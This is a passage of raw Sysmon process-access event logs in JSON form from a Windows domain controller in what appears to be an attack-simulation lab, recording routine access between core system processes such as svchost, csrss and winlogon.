11:49:40.047\r\nSourceProcessGUID: {90617006-3FD1-5F2D-0000-0010AF2A0000}\r\nSourceProcessId: 448\r\nSourceThreadId: 632\r\nSourceImage: C:\\Windows\\System32\\smss.exe\r\nTargetProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nTargetProcessId: 588\r\nTargetImage: C:\\Windows\\system32\\svchost.exe\r\nGrantedAccess: 0x101441\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a6a54|\\SystemRoot\\System32\\smss.exe+3fee|\\SystemRoot\\System32\\smss.exe+3b53|C:\\Windows\\SYSTEM32\\ntdll.dll+28761|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:40.047","SourceProcessGUID":"{90617006-3FD1-5F2D-0000-0010AF2A0000}","SourceProcessId":"448","SourceThreadId":"632","SourceImage":"C:\\Windows\\System32\\smss.exe","TargetProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","TargetProcessId":"588","TargetImage":"C:\\Windows\\system32\\svchost.exe","GrantedAccess":"0x101441","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a6a54|\\SystemRoot\\System32\\smss.exe+3fee|\\SystemRoot\\System32\\smss.exe+3b53|C:\\Windows\\SYSTEM32\\ntdll.dll+28761|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":751,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:40.047\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1028\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FD2-5F2D-0000-0010DC460000}\r\nTargetProcessId: 716\r\nTargetImage: C:\\Windows\\system32\\wininit.exe\r\nGrantedAccess: 0x100000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\lsm.dll+1aefc|c:\\windows\\system32\\lsm.dll+22e79|c:\\windows\\system32\\lsm.dll+bfcf|c:\\windows\\system32\\lsm.dll+3736d|c:\\windows\\system32\\lsm.dll+15c19|c:\\windows\\system32\\lsm.dll+361a8|c:\\windows\\system32\\lsm.dll+3531a|C:\\Windows\\system32\\svchost.exe+1380|C:\\Windows\\System32\\sechost.dll+14342|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:40.047","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1028","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FD2-5F2D-0000-0010DC460000}","TargetProcessId":"716","TargetImage":"C:\\Windows\\system32\\wininit.exe","GrantedAccess":"0x100000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\lsm.dll+1aefc|c:\\windows\\system32\\lsm.dll+22e79|c:\\windows\\system32\\lsm.dll+bfcf|c:\\windows\\system32\\lsm.dll+3736d|c:\\windows\\system32\\lsm.dll+15c19|c:\\windows\\system32\\lsm.dll+361a8|c:\\windows\\system32\\lsm.dll+3531a|C:\\Windows\\system32\\svchost.exe+1380|C:\\Windows\\System32\\sechost.dll+14342|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":752,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:40.047\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1028\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FD2-5F2D-0000-0010DC460000}\r\nTargetProcessId: 716\r\nTargetImage: C:\\Windows\\system32\\wininit.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eacf|c:\\windows\\system32\\lsm.dll+1af16|c:\\windows\\system32\\lsm.dll+22e79|c:\\windows\\system32\\lsm.dll+bfcf|c:\\windows\\system32\\lsm.dll+3736d|c:\\windows\\system32\\lsm.dll+15c19|c:\\windows\\system32\\lsm.dll+361a8|c:\\windows\\system32\\lsm.dll+3531a|C:\\Windows\\system32\\svchost.exe+1380|C:\\Windows\\System32\\sechost.dll+14342|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:40.047","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1028","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FD2-5F2D-0000-0010DC460000}","TargetProcessId":"716","TargetImage":"C:\\Windows\\system32\\wininit.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eacf|c:\\windows\\system32\\lsm.dll+1af16|c:\\windows\\system32\\lsm.dll+22e79|c:\\windows\\system32\\lsm.dll+bfcf|c:\\windows\\system32\\lsm.dll+3736d|c:\\windows\\system32\\lsm.dll+15c19|c:\\windows\\system32\\lsm.dll+361a8|c:\\windows\\system32\\lsm.dll+3531a|C:\\Windows\\system32\\svchost.exe+1380|C:\\Windows\\System32\\sechost.dll+14342|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":753,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:40.047\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1028\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FD2-5F2D-0000-0010D5420000}\r\nTargetProcessId: 644\r\nTargetImage: C:\\Windows\\system32\\csrss.exe\r\nGrantedAccess: 0x101000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\lsm.dll+1af3c|c:\\windows\\system32\\lsm.dll+22e79|c:\\windows\\system32\\lsm.dll+bfcf|c:\\windows\\system32\\lsm.dll+3736d|c:\\windows\\system32\\lsm.dll+15c19|c:\\windows\\system32\\lsm.dll+361a8|c:\\windows\\system32\\lsm.dll+3531a|C:\\Windows\\system32\\svchost.exe+1380|C:\\Windows\\System32\\sechost.dll+14342|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:40.047","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1028","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FD2-5F2D-0000-0010D5420000}","TargetProcessId":"644","TargetImage":"C:\\Windows\\system32\\csrss.exe","GrantedAccess":"0x101000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\lsm.dll+1af3c|c:\\windows\\system32\\lsm.dll+22e79|c:\\windows\\system32\\lsm.dll+bfcf|c:\\windows\\system32\\lsm.dll+3736d|c:\\windows\\system32\\lsm.dll+15c19|c:\\windows\\system32\\lsm.dll+361a8|c:\\windows\\system32\\lsm.dll+3531a|C:\\Windows\\system32\\svchost.exe+1380|C:\\Windows\\System32\\sechost.dll+14342|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":754,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:40.047\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1028\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FD2-5F2D-0000-0010244B0000}\r\nTargetProcessId: 800\r\nTargetImage: C:\\Windows\\system32\\winlogon.exe\r\nGrantedAccess: 0x100000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\lsm.dll+1aefc|c:\\windows\\system32\\lsm.dll+22e79|c:\\windows\\system32\\lsm.dll+bfcf|c:\\windows\\system32\\lsm.dll+3740c|c:\\windows\\system32\\lsm.dll+15c19|c:\\windows\\system32\\lsm.dll+361a8|c:\\windows\\system32\\lsm.dll+3531a|C:\\Windows\\system32\\svchost.exe+1380|C:\\Windows\\System32\\sechost.dll+14342|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:40.047","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1028","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FD2-5F2D-0000-0010244B0000}","TargetProcessId":"800","TargetImage":"C:\\Windows\\system32\\winlogon.exe","GrantedAccess":"0x100000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\lsm.dll+1aefc|c:\\windows\\system32\\lsm.dll+22e79|c:\\windows\\system32\\lsm.dll+bfcf|c:\\windows\\system32\\lsm.dll+3740c|c:\\windows\\system32\\lsm.dll+15c19|c:\\windows\\system32\\lsm.dll+361a8|c:\\windows\\system32\\lsm.dll+3531a|C:\\Windows\\system32\\svchost.exe+1380|C:\\Windows\\System32\\sechost.dll+14342|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":755,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:40.047\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1028\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FD2-5F2D-0000-0010244B0000}\r\nTargetProcessId: 800\r\nTargetImage: C:\\Windows\\system32\\winlogon.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+1af16|c:\\windows\\system32\\lsm.dll+22e79|c:\\windows\\system32\\lsm.dll+bfcf|c:\\windows\\system32\\lsm.dll+3740c|c:\\windows\\system32\\lsm.dll+15c19|c:\\windows\\system32\\lsm.dll+361a8|c:\\windows\\system32\\lsm.dll+3531a|C:\\Windows\\system32\\svchost.exe+1380|C:\\Windows\\System32\\sechost.dll+14342|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:40.047","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1028","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FD2-5F2D-0000-0010244B0000}","TargetProcessId":"800","TargetImage":"C:\\Windows\\system32\\winlogon.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+1af16|c:\\windows\\system32\\lsm.dll+22e79|c:\\windows\\system32\\lsm.dll+bfcf|c:\\windows\\system32\\lsm.dll+3740c|c:\\windows\\system32\\lsm.dll+15c19|c:\\windows\\system32\\lsm.dll+361a8|c:\\windows\\system32\\lsm.dll+3531a|C:\\Windows\\system32\\svchost.exe+1380|C:\\Windows\\System32\\sechost.dll+14342|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":756,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:40.047\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1028\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FD2-5F2D-0000-001043470000}\r\nTargetProcessId: 724\r\nTargetImage: C:\\Windows\\system32\\csrss.exe\r\nGrantedAccess: 0x101000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\lsm.dll+1af3c|c:\\windows\\system32\\lsm.dll+22e79|c:\\windows\\system32\\lsm.dll+bfcf|c:\\windows\\system32\\lsm.dll+3740c|c:\\windows\\system32\\lsm.dll+15c19|c:\\windows\\system32\\lsm.dll+361a8|c:\\windows\\system32\\lsm.dll+3531a|C:\\Windows\\system32\\svchost.exe+1380|C:\\Windows\\System32\\sechost.dll+14342|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:40.047","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1028","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FD2-5F2D-0000-001043470000}","TargetProcessId":"724","TargetImage":"C:\\Windows\\system32\\csrss.exe","GrantedAccess":"0x101000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\lsm.dll+1af3c|c:\\windows\\system32\\lsm.dll+22e79|c:\\windows\\system32\\lsm.dll+bfcf|c:\\windows\\system32\\lsm.dll+3740c|c:\\windows\\system32\\lsm.dll+15c19|c:\\windows\\system32\\lsm.dll+361a8|c:\\windows\\system32\\lsm.dll+3531a|C:\\Windows\\system32\\svchost.exe+1380|C:\\Windows\\System32\\sechost.dll+14342|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":757,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:40.047\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 600\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FD2-5F2D-0000-001043470000}\r\nTargetProcessId: 724\r\nTargetImage: C:\\Windows\\system32\\csrss.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eacf|c:\\windows\\system32\\lsm.dll+1aac4|c:\\windows\\system32\\lsm.dll+1ad51|C:\\Windows\\SYSTEM32\\ntdll.dll+28761|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:40.047","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"600","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FD2-5F2D-0000-001043470000}","TargetProcessId":"724","TargetImage":"C:\\Windows\\system32\\csrss.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eacf|c:\\windows\\system32\\lsm.dll+1aac4|c:\\windows\\system32\\lsm.dll+1ad51|C:\\Windows\\SYSTEM32\\ntdll.dll+28761|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":758,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:40.047\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 636\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FD2-5F2D-0000-0010D5420000}\r\nTargetProcessId: 644\r\nTargetImage: C:\\Windows\\system32\\csrss.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eacf|c:\\windows\\system32\\lsm.dll+1aac4|c:\\windows\\system32\\lsm.dll+1ad51|C:\\Windows\\SYSTEM32\\ntdll.dll+28761|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:40.047","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"636","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FD2-5F2D-0000-0010D5420000}","TargetProcessId":"644","TargetImage":"C:\\Windows\\system32\\csrss.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eacf|c:\\windows\\system32\\lsm.dll+1aac4|c:\\windows\\system32\\lsm.dll+1ad51|C:\\Windows\\SYSTEM32\\ntdll.dll+28761|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":759,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:40.047\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1040\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FD2-5F2D-0000-0010244B0000}\r\nTargetProcessId: 800\r\nTargetImage: C:\\Windows\\system32\\winlogon.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+20794|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:40.047","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1040","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FD2-5F2D-0000-0010244B0000}","TargetProcessId":"800","TargetImage":"C:\\Windows\\system32\\winlogon.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+20794|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":760,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:40.047\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1040\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FD2-5F2D-0000-0010244B0000}\r\nTargetProcessId: 800\r\nTargetImage: C:\\Windows\\system32\\winlogon.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: 